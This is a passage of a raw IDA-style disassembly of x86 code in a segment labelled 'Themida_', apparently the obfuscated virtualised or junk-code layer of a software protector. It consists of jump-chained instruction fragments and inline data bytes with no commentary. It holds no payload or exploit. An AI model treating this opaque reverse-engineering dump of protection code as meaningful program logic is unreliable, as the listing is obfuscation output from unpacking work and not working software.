mov ecx, 956D856Ch sub ecx, edx pop edx xor eax, ecx pop ecx sub esp, 4 mov [esp], edi jmp loc_5628AF ; --------------------------------------------------------------------------- loc_5610EB: ; CODE XREF: Themida_:0056C015j mov [esp], edx jmp loc_55D5BF ; --------------------------------------------------------------------------- loc_5610F3: ; CODE XREF: Themida_:00568540j sub bh, 94h inc bh inc bh xor bh, 3Ah and dh, bh pop ebx neg dh jmp loc_5594E5 ; --------------------------------------------------------------------------- loc_561107: ; CODE XREF: Themida_:005668F5j mov ecx, [esp] jmp loc_568476 ; --------------------------------------------------------------------------- loc_56110F: ; CODE XREF: Themida_:0056C73Dj sub bl, 0D5h sub bl, 82h mov dx, [esp] add esp, 2 jmp loc_558B2D ; --------------------------------------------------------------------------- loc_561124: ; CODE XREF: Themida_:0055F58Dj xor ebx, [esp] jmp loc_5676FF ; --------------------------------------------------------------------------- loc_56112C: ; CODE XREF: Themida_:0055EB1Bj mov esi, esp jmp loc_568C83 ; --------------------------------------------------------------------------- loc_561133: ; CODE XREF: Themida_:00563A07j sub ebp, edi jmp loc_55F41E ; --------------------------------------------------------------------------- loc_56113A: ; CODE XREF: Themida_:005634BAj ; Themida_:00568E2Aj add esi, 4 xchg esi, [esp] jmp loc_5563FA ; --------------------------------------------------------------------------- loc_561145: ; CODE XREF: Themida_:005585ECj pop ebp neg ebp xor ebp, 9E7EE7DBh sub edi, ebp pop ebp add edi, esi add edi, 460A12B7h pop esi xchg edi, [esp] pop esp xchg ebp, edx xor eax, edx xor edx, eax xor eax, edx push 6D9h mov [esp], edx sub esp, 4 mov [esp], ecx push 23774F0Ah mov ecx, [esp] push eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx jmp loc_56C2DF ; --------------------------------------------------------------------------- dd 0BDh, 89D52900h, 0C2815DEAh, 60425810h, 627EC381h, 0D301762Bh dd 0FF9C67E9h, 241489FFh, 346768h, 240C8900h, 916F0A68h dd 0C981597Eh, 32583D57h, 8272C181h, 0CA89E1C2h, 6859h dd 14290000h, 6CF8E924h, 4B90000h, 29000000h, 1C8759CBh dd 24248B24h, 24048F54h, 4240483h, 14B5E9h db 0 ; --------------------------------------------------------------------------- loc_5611F5: ; CODE XREF: Themida_:00569BC5j pop eax jmp loc_56637D ; --------------------------------------------------------------------------- loc_5611FB: ; CODE XREF: Themida_:0055BEE4j mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_56370B ; --------------------------------------------------------------------------- loc_56120D: ; CODE XREF: Themida_:0055C6F2j shr ebp, 1 jmp loc_55684D ; --------------------------------------------------------------------------- loc_561214: ; CODE XREF: Themida_:005567ACj push 11F0h mov [esp], edi push edx mov edx, 11ED2AF5h push edx sub dword ptr [esp], 488A362Ch pop edi add edi, 488A362Ch jmp loc_56C3E4 ; --------------------------------------------------------------------------- dw 0EE86h dd 0EE86D5F6h, 0CFFEF786h, 0C07EB652h, 0DEF607E6h, 8095C680h dd 0EC815EF6h, 4, 0E9240489h, 54B7h ; --------------------------------------------------------------------------- loc_56125C: ; CODE XREF: Themida_:0056B9F7j add ebp, 4 add ebp, 4 jmp loc_569E83 ; --------------------------------------------------------------------------- loc_56126A: ; CODE XREF: Themida_:00562C04j and esi, 4B466EC0h or esi, 100240CFh push eax jmp loc_569229 ; --------------------------------------------------------------------------- dd 0FF5066E9h, 155EB9FFh, 0E9BD0EB8h, 317DA051h, 89FBE9CDh dd 895CFFFFh, 8156240Ch, 4ECh, 242C8900h, 0FFDD69E9h db 0FFh ; --------------------------------------------------------------------------- loc_5612A5: ; CODE XREF: Themida_:00564FF0j ; Themida_:0056B39Aj sub edx, 63DF77C1h sub edx, esi push eax push ebp mov ebp, 63DF77C1h mov eax, ebp jmp loc_5596BD ; --------------------------------------------------------------------------- loc_5612BB: ; CODE XREF: Themida_:loc_56921Ej jmp loc_566273 ; --------------------------------------------------------------------------- loc_5612C0: ; CODE XREF: Themida_:0056A604j mov ch, bl mov [edi+eax*4], ch pop ecx push dword ptr [esp] pop ebx add esp, 4 jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5612D2: ; CODE XREF: Themida_:0055DF8Dj mov ch, bl pop ebx sub dl, 5Dh sub dl, ch add dl, 5Dh push dword ptr [esp] pop ecx add esp, 4 xor al, dl jmp loc_55AD6F ; --------------------------------------------------------------------------- loc_5612EE: ; CODE XREF: Themida_:005641B8j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56BEAC ; --------------------------------------------------------------------------- loc_5612FE: ; CODE XREF: Themida_:00562110j pop ebp mov ebx, [esp] jmp loc_55F554 ; --------------------------------------------------------------------------- loc_561307: ; CODE XREF: Themida_:0055E0D9j add esp, 4 push 12CFh mov [esp], edi mov edi, esp jmp loc_564268 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C28814B0h, 7EAC058h, 0C280DAF6h, 6969E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56132E: ; CODE XREF: Themida_:0055E692j pop eax pop ebp push eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_5610AD ; --------------------------------------------------------------------------- dd 5FF8015Bh, 227BE9h db 0 ; --------------------------------------------------------------------------- loc_561349: ; CODE XREF: Themida_:0055C95Bj xor edi, 5AD963EFh mov edx, edi pop edi xor edx, ecx jmp loc_56CAF7 ; --------------------------------------------------------------------------- db 50h, 0B8h, 53h dd 5327FB65h, 0FB6557BBh, 5BD83127h, 61E9C501h, 81FFFFA6h dd 0D72762EEh, 0C055E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56137A: ; CODE XREF: Themida_:005689F2j mov [edi+20h], esi jmp loc_55BE0E ; --------------------------------------------------------------------------- loc_561382: ; CODE XREF: Themida_:0055DA94j pop dword ptr [edi+20h] add dword ptr [edi+20h], 12BA15B2h push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_55A4FF ; --------------------------------------------------------------------------- loc_561398: ; CODE XREF: Themida_:00566CACj push edi push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop edi xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_5562E7 ; --------------------------------------------------------------------------- dw 0DFF7h dd 6B578A0Fh, 0E781FFFFh, 57E00DDCh, 0E6FF8F0Fh, 3347FFFFh dd 1EE9243Ch db 0F9h, 2 dup(0FFh) byte_5613D7 db 66h ; DATA XREF: Themida_:005560C0o dd 83240C8Bh, 1C8904ECh, 575B5424h, 4BFh, 7CBD5500h, 0E95E5502h dd 0FFFFF014h, 8124048Bh, 4C4h, 0E2895200h, 67A3BB53h dd 0CB814D6Eh, 4EFD75A1h, 1D1CC381h, 0C3811B61h, 949F6B45h dd 685BDA01h, 5A44h, 0E9243C89h, 66ECh ; --------------------------------------------------------------------------- loc_561428: ; CODE XREF: Themida_:00561057j pop ebx add ebx, 305F0182h jmp loc_568878 ; --------------------------------------------------------------------------- dd 42474FFh, 19CAE9h, 24040000h, 0A553E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_561446: ; CODE XREF: Themida_:00568AABj sub dword ptr [esp+4], 4C973051h add [esp+4], eax add dword ptr [esp+4], 4C973051h jmp loc_557A89 ; --------------------------------------------------------------------------- loc_56145F: ; CODE XREF: Themida_:005687A1j sub esp, 4 jmp loc_55FEB8 ; --------------------------------------------------------------------------- loc_56146A: ; CODE XREF: Themida_:loc_560B1Ej push edx jmp loc_55B4E0 ; --------------------------------------------------------------------------- loc_561470: ; CODE XREF: Themida_:00569C81j mov cl, 0D0h jmp loc_56C5BF ; --------------------------------------------------------------------------- loc_561477: ; CODE XREF: Themida_:0056817Bj xor ebp, 0DD94B896h sub eax, ebp pop ebp shl eax, 7 jmp loc_558019 ; --------------------------------------------------------------------------- loc_561488: ; CODE XREF: Themida_:00566FF1j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push 6CCBh jmp loc_562F7D ; --------------------------------------------------------------------------- db 2Dh dd 4, 5C240487h, 89242C89h, 4C581E5h, 81000000h, 4EDh dd 242C8700h, 9E21E9h db 0 ; --------------------------------------------------------------------------- loc_5614E5: ; CODE XREF: Themida_:00564DB2j push ebx jmp loc_5658A6 ; --------------------------------------------------------------------------- loc_5614EB: ; CODE XREF: Themida_:00562990j sub esi, 7FF23F25h and ecx, esi mov esi, [esp] add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push 60E6h jmp loc_566496 ; --------------------------------------------------------------------------- loc_56151B: ; CODE XREF: Themida_:0056439Bj add ah, cl pop ecx jmp loc_55F0DC ; --------------------------------------------------------------------------- aST db ')щИ`t',0 align 2 dw 2925h dd 254A7E10h, 196555C7h, 56A1F05h, 3663E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56153E: ; CODE XREF: Themida_:0055B9B8j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_561543: ; CODE XREF: Themida_:0055A451j sub esp, 4 jmp loc_563B47 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0C3830000h, 74FF5304h, 34FF0424h, 89575B24h dd 4C781E7h, 0E9000000h, 543Ah ; --------------------------------------------------------------------------- loc_561570: ; CODE XREF: Themida_:0055D798j pop edx jmp loc_56AAE4 ; --------------------------------------------------------------------------- loc_561576: ; CODE XREF: Themida_:005672C4j shl ebx, 2 jmp loc_560634 ; --------------------------------------------------------------------------- dw 295Bh dd 2434FFF7h, 4C4815Eh, 57000000h, 42474FFh, 61DFE9h, 243C3100h dd 8B243C33h, 3B662424h, 40E99CC8h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615A7: ; CODE XREF: Themida_:0055B008j add esp, 4 xchg ecx, [esp] pop esp mov [esp], bx push eax mov al, 0C0h mov bl, al pop eax add ah, bl jmp loc_568F06 ; --------------------------------------------------------------------------- loc_5615BF: ; CODE XREF: Themida_:0055C3D1j push dword ptr [esp] pop ecx add esp, 4 jmp loc_56BF17 ; --------------------------------------------------------------------------- loc_5615CB: ; CODE XREF: Themida_:00564252j pop ebp jmp loc_55A580 ; --------------------------------------------------------------------------- loc_5615D1: ; CODE XREF: Themida_:loc_56998Cj xor ebx, 998F39C2h mov ecx, ebx mov ebx, [esp] add esp, 4 add esi, ecx pop ecx push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sar word ptr [esp], cl pushf jmp loc_562B35 ; --------------------------------------------------------------------------- loc_5615F9: ; CODE XREF: Themida_:0056BBE1j push ebx mov ebx, 0FA90248h xor ebx, 0FA9024Ch add ecx, ebx jmp loc_5677D3 ; --------------------------------------------------------------------------- dd 2D5AD001h, 1A730F3Fh, 18E9D829h, 8100000Dh, 466AFFCEh dd 810F4E4Bh, 7332h, 0FF6555E9h, 0E78957FFh db 88h, 0EDh, 54h ; --------------------------------------------------------------------------- loc_561633: ; CODE XREF: Themida_:0055A596j mov ebp, 20C5125Fh add eax, ebp mov ebp, [esp] add esp, 4 sub eax, edx push ebp mov ebp, 20C5125Fh sub eax, ebp mov ebp, [esp] jmp loc_56291D ; --------------------------------------------------------------------------- db 0BAh, 69h, 2Eh dd 89563A39h, 4C681E6h, 0E9000000h, 6ECBh ; --------------------------------------------------------------------------- loc_561668: ; CODE XREF: Themida_:0056D787j xor ebx, [esp] mov esp, [esp] jmp loc_56C35F ; --------------------------------------------------------------------------- loc_561673: ; CODE XREF: Themida_:0056D40Aj add al, bl sub al, 6 pop ebx push 536Fh mov [esp], ebx push 6C38h mov [esp], edx jmp loc_55763F ; --------------------------------------------------------------------------- loc_56168D: ; CODE XREF: Themida_:00569271j mov esi, [esp] add esp, 4 shl esi, 7 inc esi push ecx push ebp push 6F603F5Ah pop ebp dec ebp jmp loc_55E496 ; --------------------------------------------------------------------------- dd 64685257h, 5A5E3B7Fh, 1F15EA81h, 8D0F2B53h, 0FFFFF454h dd 0FFA463E9h, 0C8B66FFh, 153FE924h, 5B500000h, 104C483h dd 2434FFCBh, 99ADE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5616DA: ; CODE XREF: Themida_:00569C2Fj dec al xor al, 8Dh jp loc_56D100 jmp loc_5585F1 ; --------------------------------------------------------------------------- loc_5616E9: ; CODE XREF: Themida_:0055D6E8j mov [esp], si jmp loc_55C10F ; --------------------------------------------------------------------------- loc_5616F2: ; CODE XREF: Themida_:00560A87j push 4BBEh mov [esp], esi mov esi, 35D302D8h shl esi, 5 not esi neg esi sub esi, 34A964DEh xor esi, 0E000FA4h jmp loc_568A32 ; --------------------------------------------------------------------------- db 29h dd 5CEB81EBh, 5D44706Ch, 38E95F53h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561727: ; CODE XREF: Themida_:00558BBFj mov [esp], ecx push 4E7476D5h pop ecx jmp loc_55C206 ; --------------------------------------------------------------------------- loc_561735: ; CODE XREF: Themida_:0055C347j add esp, 4 push edx mov edx, 0C4021A0h shl edx, 1 add edx, 64E71210h jmp loc_55F814 ; --------------------------------------------------------------------------- dw 0FAB8h dd 0E913987Ah, 0FFFF5474h ; --------------------------------------------------------------------------- loc_561758: ; CODE XREF: Themida_:005631CFj mov [esp], eax mov eax, 91E3D5Fh xor eax, 91E3D5Bh jmp loc_56CD12 ; --------------------------------------------------------------------------- word_56176A dw 34FFh ; DATA XREF: Themida_:00556070o dd 2434FF24h, 0E924148Bh, 133Dh, 8904C483h, 243C8BFDh dd 71DAE9h db 0 ; --------------------------------------------------------------------------- loc_561785: ; CODE XREF: Themida_:loc_55928Aj shl esi, 3 shl esi, 3 xor esi, 22EB2BD7h jmp loc_55EE25 ; --------------------------------------------------------------------------- loc_561796: ; CODE XREF: Themida_:00567763j push ebp mov ebp, 0C0000060h jmp loc_556459 ; --------------------------------------------------------------------------- db 2Dh, 6Bh, 7Fh dd 3E93006h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617AB: ; CODE XREF: Themida_:0056AF3Dj or bh, 43h jmp loc_55A236 ; --------------------------------------------------------------------------- db 31h dd 31CB31D9h, 567FE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617BE: ; CODE XREF: Themida_:0056C211j pop eax mov eax, esi pop esi not eax xor eax, 80CAFC7Ch add ecx, eax pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55D354 ; --------------------------------------------------------------------------- loc_5617DD: ; CODE XREF: Themida_:0056B38Fj sub bh, cl jmp loc_55E22A ; --------------------------------------------------------------------------- loc_5617E4: ; CODE XREF: Themida_:0056ACACj add esp, 4 pop dword ptr [esp] pop esp push dword ptr [edi+eax*4] jmp loc_55BCEA ; --------------------------------------------------------------------------- loc_5617F6: ; CODE XREF: Themida_:0055CDA8j xor edi, esi pop esi mov ebp, edi pop edi mov ebx, 6D2C17E8h add ebx, 4B153F5Fh sub ebx, ebp jmp loc_56A7F4 ; --------------------------------------------------------------------------- loc_56180E: ; CODE XREF: Themida_:0056654Ej sub edi, ebx pop ebx push ebx mov ebx, 25204425h sub ebx, 1C6067D9h and ebx, 2F82389Dh or ebx, 548071B7h shr ebx, 5 shr ebx, 1 sub ebx, 2464C82h jmp loc_55771D ; --------------------------------------------------------------------------- loc_561839: ; CODE XREF: Themida_:00568C5Cj mov ax, [esp] push 4884h mov [esp], edi push 3739h jmp loc_567906 ; --------------------------------------------------------------------------- loc_56184F: ; CODE XREF: Themida_:005610D0j add eax, 5FEA72F3h jmp loc_55F398 ; --------------------------------------------------------------------------- loc_561859: ; CODE XREF: Themida_:00569553j mov ebp, 3DF31D3Eh add [esp+4], ebp jmp loc_568267 ; --------------------------------------------------------------------------- loc_561867: ; CODE XREF: Themida_:00560AFEj jmp loc_55CBAD ; --------------------------------------------------------------------------- loc_56186C: ; CODE XREF: Themida_:00559103j add edx, eax sub edx, 1FFC3F31h pop eax jmp loc_55F9E4 ; --------------------------------------------------------------------------- loc_56187A: ; CODE XREF: Themida_:005642C8j jmp loc_55F671 ; --------------------------------------------------------------------------- loc_56187F: ; CODE XREF: Themida_:loc_560DF4j ; Themida_:0056AF17j push small 7A30h mov [esp], cx push edx mov edx, esp jmp loc_5573F4 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0C6649CBFh, 5FFB294Ah, 0C381FB29h dd 4AC6649Ch, 807DE9h, 477F2D00h, 0C731F066h, 2F326858h dd 4890000h, 4CF9B824h, 0E8C13FBFh, 3CE95507h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5618CB: ; CODE XREF: Themida_:0055E1F8j pop ebx mov esi, ecx pop ecx push ecx mov ecx, 1995D789h add esi, ecx pop ecx push edx mov edx, 3F2E5897h and edx, 3F3525BAh and edx, 539490Ch push edi mov edi, 6E133199h add edi, 373B7243h push ebp mov ebp, 0C13ECDECh xor edi, ebp pop ebp jmp loc_559345 ; --------------------------------------------------------------------------- loc_561904: ; CODE XREF: Themida_:00568FC8j mov esi, [esp] add esp, 4 jmp loc_55BB4D ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 56E18924h, 0D769DDBEh, 58F6811Fh, 4E271A70h dd 198E9h db 0 ; --------------------------------------------------------------------------- loc_561929: ; CODE XREF: Themida_:0056A88Bj xor ebx, eax pop eax jmp loc_560B23 ; --------------------------------------------------------------------------- loc_561931: ; CODE XREF: Themida_:00569904j mov [esp], esi jmp loc_55B729 ; --------------------------------------------------------------------------- db 80h, 0EEh, 39h dd 8124048Bh, 4C4h, 6FC68000h, 0BACAE9h db 0 ; --------------------------------------------------------------------------- loc_56194D: ; CODE XREF: Themida_:00567806j add dword ptr [esp], 4 pop ebp push ecx mov ecx, 4 add ebp, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 70D766FBh sub eax, 70D766F7h jmp loc_55F7EF ; --------------------------------------------------------------------------- loc_561970: ; CODE XREF: Themida_:00562DF0j ; Themida_:00563401j pop esp xchg edx, [esp] mov esp, [esp] mov [esp], edi jmp loc_55DE30 ; --------------------------------------------------------------------------- loc_56197F: ; CODE XREF: Themida_:0055AEF9j add esp, 4 push edx push ebp jmp loc_5688A6 ; --------------------------------------------------------------------------- loc_56198C: ; CODE XREF: Themida_:0055D579j inc esi jmp loc_556AAA ; --------------------------------------------------------------------------- loc_561992: ; CODE XREF: Themida_:00560CBBj xor ebp, 3BBD5CA7h mov edi, ebp jmp loc_569615 ; --------------------------------------------------------------------------- loc_56199F: ; CODE XREF: Themida_:loc_557922j add ebp, 0FF97D292h jmp loc_567950 ; --------------------------------------------------------------------------- loc_5619AA: ; CODE XREF: Themida_:00568336j push 756h mov [esp], ebp jmp loc_559857 ; --------------------------------------------------------------------------- loc_5619B7: ; CODE XREF: Themida_:00560C0Dj sub di, 788Fh and di, 7566h sub di, 0B62Eh xor bx, di pop edi add ax, 5BAAh add ax, 7D1Ch sub ax, bx sub ax, 7D1Ch jmp loc_55B54C ; --------------------------------------------------------------------------- loc_5619DE: ; CODE XREF: Themida_:00558B1Aj pop edi pop dword ptr [esp] pop esp shl edx, 6 sub esp, 4 mov [esp], edi mov edi, 558E2CCEh jmp loc_566E42 ; --------------------------------------------------------------------------- loc_5619F6: ; CODE XREF: Themida_:00564CACj push 6174h jmp loc_55D1C2 ; --------------------------------------------------------------------------- loc_561A00: ; CODE XREF: Themida_:0056BE79j add esi, 10DD0610h jmp loc_56513F ; --------------------------------------------------------------------------- loc_561A0B: ; CODE XREF: Themida_:0055BF70j not esi and esi, 471A3829h jmp loc_568D78 ; --------------------------------------------------------------------------- loc_561A18: ; CODE XREF: Themida_:00559F9Bj push ecx mov ecx, 53F62587h add dword ptr [esp+8], 34D450B1h sub [esp+8], ecx jmp loc_5629F5 ; --------------------------------------------------------------------------- loc_561A2F: ; CODE XREF: Themida_:00561A72j pop eax mov edx, edi mov edi, [esp] add esp, 4 add edi, edx pop edx sub edi, 4 xchg edi, [esp] jmp loc_561D05 ; --------------------------------------------------------------------------- dd 5A54525Dh, 3B72B951h, 0E9C10247h, 8E1C108h, 0E9C1D1F7h dd 0B19FE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561A66: ; CODE XREF: Themida_:00557D72j jmp loc_563248 ; --------------------------------------------------------------------------- loc_561A6B: ; CODE XREF: Themida_:0056CA69j mov edi, 0A9D2C766h add edi, eax jmp loc_561A2F ; --------------------------------------------------------------------------- db 4Dh dd 0FF532EE9h db 0FFh ; --------------------------------------------------------------------------- loc_561A7D: ; CODE XREF: Themida_:0055AE5Fj mov [esp], eax jmp loc_557D48 ; --------------------------------------------------------------------------- loc_561A85: ; CODE XREF: Themida_:005671CBj not edi inc edi xor edi, 2A0369F3h add ecx, edi pop edi sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55A7F8 ; --------------------------------------------------------------------------- loc_561A9F: ; CODE XREF: Themida_:0055F678j ; DATA XREF: Themida_:005561D4o pop small word ptr [edx] jmp loc_56C789 ; --------------------------------------------------------------------------- loc_561AA7: ; CODE XREF: Themida_:0055ECD5j add esp, 4 sub esp, 4 jmp loc_557EF3 ; --------------------------------------------------------------------------- loc_561AB2: ; CODE XREF: Themida_:00559452j pop ebx add esp, 4 add esp, 4 jmp loc_559FCE ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0D1h dd 0F2EE81E6h, 0E98E65CCh, 9413h ; --------------------------------------------------------------------------- loc_561AD0: ; CODE XREF: Themida_:00563AA6j neg bh jb loc_56C0F0 jmp loc_558CD4 ; --------------------------------------------------------------------------- db 5Eh, 51h, 55h db 88h, 0C7h ; --------------------------------------------------------------------------- loc_561AE2: ; CODE XREF: Themida_:0055CF09j add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_563FD8 ; --------------------------------------------------------------------------- db 2Dh dd 49900BBh, 4061C181h, 0C1011A10h, 4061E981h, 48B1A10h dd 4C48124h, 5F000000h, 757D2BFh, 46EDE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561B1A: ; CODE XREF: Themida_:00565A16j or eax, eax jz loc_560360 push dword ptr [edi+28h] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] jmp loc_566A88 ; --------------------------------------------------------------------------- loc_561B3B: ; CODE XREF: Themida_:0055EF81j pop edi pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5602EE ; --------------------------------------------------------------------------- loc_561B4C: ; CODE XREF: Themida_:loc_56502Cj push esi mov esi, 0F93A9A01h xor eax, esi jmp loc_56BD29 ; --------------------------------------------------------------------------- loc_561B59: ; CODE XREF: Themida_:0055CBB3j inc edx jle loc_55F4E8 sub edx, 26ED2458h jmp loc_563764 ; --------------------------------------------------------------------------- loc_561B6B: ; CODE XREF: Themida_:00557580j sub edi, 5D2865A3h sub esp, 4 mov [esp], ebx jmp loc_55658B ; --------------------------------------------------------------------------- loc_561B7C: ; CODE XREF: Themida_:0056234Bj add ebx, ecx add ebx, 3B1D6CE2h pop ecx xor ebx, [esp] xor [esp], ebx jmp loc_55F32C ; --------------------------------------------------------------------------- dd 0FF4752E9h, 4F4B68FFh, 34890000h, 5EB85024h, 5637E61Fh dd 601CE9h db 0 ; --------------------------------------------------------------------------- loc_561BA9: ; CODE XREF: Themida_:0055E1C3j add ebx, 32DE125Eh jmp loc_55B612 ; --------------------------------------------------------------------------- loc_561BB4: ; CODE XREF: Themida_:00557BC2j mov [esp], ebx jmp loc_55F103 ; --------------------------------------------------------------------------- loc_561BBC: ; CODE XREF: Themida_:00558CA3j push ebp jmp loc_564BC4 ; --------------------------------------------------------------------------- loc_561BC2: ; CODE XREF: Themida_:00557660j xchg ebx, [esp] mov esp, [esp] push eax mov eax, 382A69C3h not eax or eax, 3DD01B00h sub eax, 5CD7072Bh jmp loc_55701A ; --------------------------------------------------------------------------- loc_561BDF: ; CODE XREF: Themida_:005647BCj shr eax, 18h jmp loc_56B025 ; --------------------------------------------------------------------------- loc_561BE7: ; CODE XREF: Themida_:005626F5j js loc_55CD62 sub eax, 727131DCh js loc_558CCF jmp loc_55CE2B ; --------------------------------------------------------------------------- db 89h, 0D5h, 5Ah db 45h, 0B5h, 8Ch ; --------------------------------------------------------------------------- loc_561C03: ; CODE XREF: Themida_:00556E1Dj pop edi add esp, 4 jmp loc_569793 ; --------------------------------------------------------------------------- loc_561C0C: ; CODE XREF: Themida_:0055AD93j mov dx, [esp] sub esp, 4 mov [esp], edi push esp mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_559472 ; --------------------------------------------------------------------------- byte_561C31 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00556164o aXh4 db 'Xh^4',0 align 2 aIHq2 db '┴<$hО2',0 align 2 dw 8F54h dd 4832404h, 5E90424h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C4F: ; CODE XREF: Themida_:loc_55FE53j jmp loc_55A365 ; --------------------------------------------------------------------------- loc_561C54: ; CODE XREF: Themida_:00568502j mov al, dl mov ch, al jmp loc_55CF29 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Dh, 0E9000000h, 0FFFF8B3Ch, 42474FFh, 24048F5Dh dd 240CD35Ch, 4669E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C7E: ; CODE XREF: Themida_:00566E9Bj mov dl, 0EBh mov al, 97h xor al, dl pop edx jmp loc_55F54C ; --------------------------------------------------------------------------- dw 1489h dd 2AADBA24h, 7568154Bh, 89000057h, 0E189240Ch, 4C181h dd 0E9810000h, 4, 0E9240C87h, 5B93h, 0BD55F829h, 597370C1h dd 2C8BE801h, 0B32DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CC2: ; CODE XREF: Themida_:00556327j mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5574E0 ; --------------------------------------------------------------------------- dd 0EB81EB01h, 450843A5h, 191AC381h, 0C381170Fh, 3EFD1B3Bh dd 5D2434FFh, 0E904C483h, 0FFFF521Dh dword_561CFC dd 24048B66h, 8695E9h ; DATA XREF: Themida_:00556200o db 0 ; --------------------------------------------------------------------------- loc_561D05: ; CODE XREF: Themida_:00561A47j pop esp mov [esp], eax push ecx jmp loc_55F1E9 ; --------------------------------------------------------------------------- db 68h dd 2A29h, 0BA241489h, 0A1F89750h, 15AD331h, 241C8BDEh dd 4C481h, 81560000h, 1E232404h, 40E9265Ch db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561D37: ; CODE XREF: Themida_:00565BEDj add esp, 4 pop dword ptr [esp] jmp loc_5640A4 ; --------------------------------------------------------------------------- db 81h, 0CBh, 0B3h dd 0E9012E7Bh, 0FFFFEBF0h ; --------------------------------------------------------------------------- loc_561D50: ; CODE XREF: Themida_:0055BE11j add esp, 4 jmp loc_55E9D1 ; --------------------------------------------------------------------------- loc_561D5B: ; CODE XREF: Themida_:0055AC35j mov esp, [esp] btc [esp], ax pushf jmp loc_55DA34 ; --------------------------------------------------------------------------- loc_561D69: ; CODE XREF: Themida_:0056C74Fj pop eax push edi mov edi, esp add edi, 4 jmp loc_563A0C ; --------------------------------------------------------------------------- loc_561D78: ; CODE XREF: Themida_:00565171j push esi not dword ptr [esp] mov esi, [esp] add esp, 4 sub esi, 2F051805h jle loc_566E88 shl esi, 7 dec esi jmp loc_55F87B ; --------------------------------------------------------------------------- db 5Ch ; --------------------------------------------------------------------------- loc_561D98: ; CODE XREF: Themida_:0056C8DBj add eax, 4 xchg eax, [esp] pop esp xor eax, ebp jmp loc_5651CF ; --------------------------------------------------------------------------- loc_561DA8: ; CODE XREF: Themida_:00559C81j pop edx mov ecx, [esp] add esp, 4 push edi push esi push edi push 764E7690h pop edi xor edi, 49CE2999h add edi, 7544322h jno loc_56B3D8 jmp loc_5588B8 ; --------------------------------------------------------------------------- db 51h dd 0A23561B9h db 1Bh, 8Bh, 0EDh ; --------------------------------------------------------------------------- loc_561DD7: ; CODE XREF: Themida_:00560B04j ; Themida_:00562833j add ebx, 4 jmp loc_56055E ; --------------------------------------------------------------------------- loc_561DE2: ; CODE XREF: Themida_:0055F060j add esp, 4 push edi mov edi, 77B4294Ch push edi not dword ptr [esp] pop edi or edi, 22B7444h jmp loc_56BF45 ; --------------------------------------------------------------------------- dw 4B8h dd 0E9000000h, 0E65h ; --------------------------------------------------------------------------- loc_561E08: ; CODE XREF: Themida_:0055FBDAj mov ebx, 798345FAh xor ebx, 798345FEh add [esp+4], ebx mov ebx, [esp] add esp, 4 pop ebp jmp loc_560F26 ; --------------------------------------------------------------------------- loc_561E23: ; CODE XREF: Themida_:0055966Ej pop ebx pop dword ptr [esp] mov esp, [esp] mov [esp], cx jmp loc_556FAB ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68300h, 0E9243487h, 0FFFFD853h ; --------------------------------------------------------------------------- loc_561E44: ; CODE XREF: Themida_:00568B4Ej xor eax, ecx pop ecx jmp loc_566C6A ; --------------------------------------------------------------------------- loc_561E4C: ; CODE XREF: Themida_:0055AFCFj mov [esp], ebx push eax push 6B30h mov [esp], ebx push eax mov eax, 61672E88h mov ebx, 0BF7CD1CFh push ebp mov ebp, 61331D6Ah push ebx mov ebx, 557C2A5Bh neg ebx push ebx not dword ptr [esp] pop ebx or ebx, 15C4303Ch jmp loc_56ACB1 ; --------------------------------------------------------------------------- db 68h, 4, 6Ch dd 3C890000h, 7E026824h, 815F179Fh, 491B99CFh, 33820F66h dd 50FFFFAEh, 55E6E9h db 0 ; --------------------------------------------------------------------------- loc_561EA1: ; CODE XREF: Themida_:0055D194j mov [esp], edx mov edx, 